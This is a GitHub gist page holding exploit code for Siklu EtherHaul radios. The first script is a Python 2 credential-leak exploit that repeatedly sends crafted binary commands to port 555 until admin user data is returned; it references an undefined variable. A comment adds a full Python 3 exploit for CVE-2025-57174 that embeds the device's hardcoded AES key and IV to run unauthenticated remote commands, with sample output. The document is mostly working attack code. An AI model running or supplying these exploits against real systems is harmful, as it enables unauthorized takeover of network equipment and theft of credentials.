Skip to content

Instantly share code, notes, and snippets.

@ianling
Last active September 24, 2025 22:24
Show Gist options
  • Select an option

  • Save ianling/c06636fba1b294393f0d3b7df082aa91 to your computer and use it in GitHub Desktop.

Select an option

Save ianling/c06636fba1b294393f0d3b7df082aa91 to your computer and use it in GitHub Desktop.
Siklu EtherHaul Show Password Exploit
import socket
from time import sleep
address = '192.168.1.11' # the target
port = 555
# set up binary strings to send to the radio
root = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xad\x00\x00\x00\x00\x72\x6f\x6f\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
moinfo = bytearray(b'\x6d\x6f\x2d\x69\x6e\x66\x6f\x20\x73\x79\x73\x74\x65\x6d\x20\x3b\x20\x6e\x74\x70\x20\x3b\x20\x69\x70\x20\x3b\x20\x69\x70\x76\x36\x20\x3b\x20\x65\x74\x68\x20\x3b\x20\x61\x61\x61\x2d\x73\x65\x72\x76\x65\x72\x20\x3b\x20\x61\x61\x61\x20\x3b\x20\x73\x6e\x6d\x70\x2d\x6d\x6e\x67\x20\x3b\x20\x73\x6e\x6d\x70\x2d\x61\x67\x65\x6e\x74\x20\x3b\x20\x73\x79\x73\x6c\x6f\x67\x20\x3b\x20\x72\x6f\x75\x74\x65\x20\x3b\x20\x72\x6f\x75\x74\x65\x36\x20\x3b\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x2d\x73\x74\x72\x65\x6e\x67\x74\x68\x20\x3b\x20\x75\x73\x65\x72\x20\x3b\x20\x61\x72\x70\x20\x3b\x20\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x20\x3b\x20\x6c\x6c\x64\x70\x20\x3b\x20\x6c\x6c\x64\x70\x2d\x72\x65\x6d\x6f\x74\x65\x00')
running = 1
while(running): # run repeatedly until it gives the password
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((address, port))
s.send(root) # send 'root'
s.send(moinfo_long) # send 'mo-info system ; ...'
sleep(4) # wait 4 seconds for a response
data = s.recv(9192)
if 'user admin' not in data: # see if we got user credential in the response
sleep(4) # wait 4 more seconds
data = s.recv(9192)
if 'user admin' not in data: # check again
print "Didn't get user info, closing socket and trying again"
s.close()
continue
print data # print user data
s.close()
running = 0
@semaja22
Copy link

CVE-2025-57174 - Siklu EtherHaul Series - Unauthenticated Remote Command Execution

# Exploit Title: Siklu EtherHaul Series - Unauthenticated Remote Command Execution

#!/usr/bin/env python3
import argparse, socket, struct
from Crypto.Cipher import AES

PORT = 555
HDR_LEN = 0x90
IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72)
KEY = bytes([
    0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5,
    0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17,
    0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0,
    0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82
])

def recv_exact(sock: socket.socket, n: int) -> bytes:
    out = bytearray()
    while len(out) < n:
        chunk = sock.recv(n - len(out))
        if not chunk:
            raise ConnectionError('socket closed')
        out += chunk
    return bytes(out)

def pad16_zero(b: bytes) -> bytes:
    r = len(b) & 0x0F
    return b if r == 0 else (b + b'\x00' * (16 - r))

def hdr_checksum(hdr: bytes) -> int:
    return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF

def build_header(flag: int, msg: int, payload_len: int) -> bytes:
    hdr = bytearray(HDR_LEN)
    hdr[0] = flag & 0xFF
    hdr[1] = msg & 0xFF
    struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF)
    struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr))
    return bytes(hdr)

class RFPipeSession:
    def __init__(self, key: bytes, iv0: bytes):
        self.key = key
        self.send_iv = iv0
        self.recv_iv = iv0
    def enc_send(self, sock: socket.socket, data: bytes) -> None:
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv)
        ct = cipher.encrypt(data)
        self.send_iv = ct[-16:]
        sock.sendall(ct)
    def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes:
        if n_plain <= 0:
            return b''
        n_padded = (n_plain + 15) & ~15
        ct = recv_exact(sock, n_padded)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt[:n_plain]
    def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None:
        if len(hdr_plain) != HDR_LEN:
            raise ValueError('header must be 0x90 bytes')
        self.enc_send(sock, hdr_plain)
    def recv_header(self, sock: socket.socket) -> bytes:
        ct = recv_exact(sock, HDR_LEN)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt

def connect_any(host: str, port: int) -> socket.socket:
    infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
    last_err = None
    for fam, st, proto, _, sa in infos:
        s = socket.socket(fam, st, proto)
        try:
            s.connect(sa)
            return s
        except Exception as e:
            last_err = e
            s.close()
    raise ConnectionError(f'connect failed: {last_err}')

def main():
    ap = argparse.ArgumentParser(description='rfpiped command client (msg 0x01)')
    ap.add_argument('target', help='IPv4/IPv6 address')
    ap.add_argument('command', help='command string (e.g., "mo-info system")')
    ap.add_argument('--nul', action='store_true', help='append NUL terminator to command')
    ap.add_argument('--recv', action='store_true', help='receive and print response')
    args = ap.parse_args()

    payload = args.command.encode('utf-8')
    if args.nul:
        payload += b'\x00'

    hdr_plain = build_header(flag=0x00, msg=0x01, payload_len=len(payload))
    sess = RFPipeSession(KEY, IV0)
    with connect_any(args.target, PORT) as s:
        sess.send_header(s, hdr_plain)
        if payload:
            sess.enc_send(s, pad16_zero(payload))
        if args.recv:
            rh = sess.recv_header(s)
            flag = rh[0]; rmsg = rh[1]
            rlen = struct.unpack_from('<I', rh, 0x08)[0]
            print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}')
            if rmsg in (0x03, 0x05):
                return
            if rlen:
                body = sess.dec_recv(s, rlen)
                if body.endswith(b'\x00'):
                    body = body[:-1]
                try:
                    print(body.decode('utf-8', errors='replace'))
                except Exception:
                    print(body.hex())

if __name__ == '__main__':
    main()
python3 CVE-2025-57174.py 172.16.100.52 'simple-command show system' --nul --recv
Response: flag=0x00 msg=0x01 length=584
<end-code>ok</end-code><text>
system description               : EH-8010FX-L
system snmpid                    : .1.3.6.1.4.1.31926
system uptime                    : 0028:22:01:51
system contact                   : undefined
system name                      : EH-8010FX-L
system location                  : undefined
system voltage                   : poe (injector)
system temperature               : 47
system date                      : 2025.09.24
system time                      : 14:56:50
system cli-timeout               : 15
system loop-permission           : enabled
</text>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment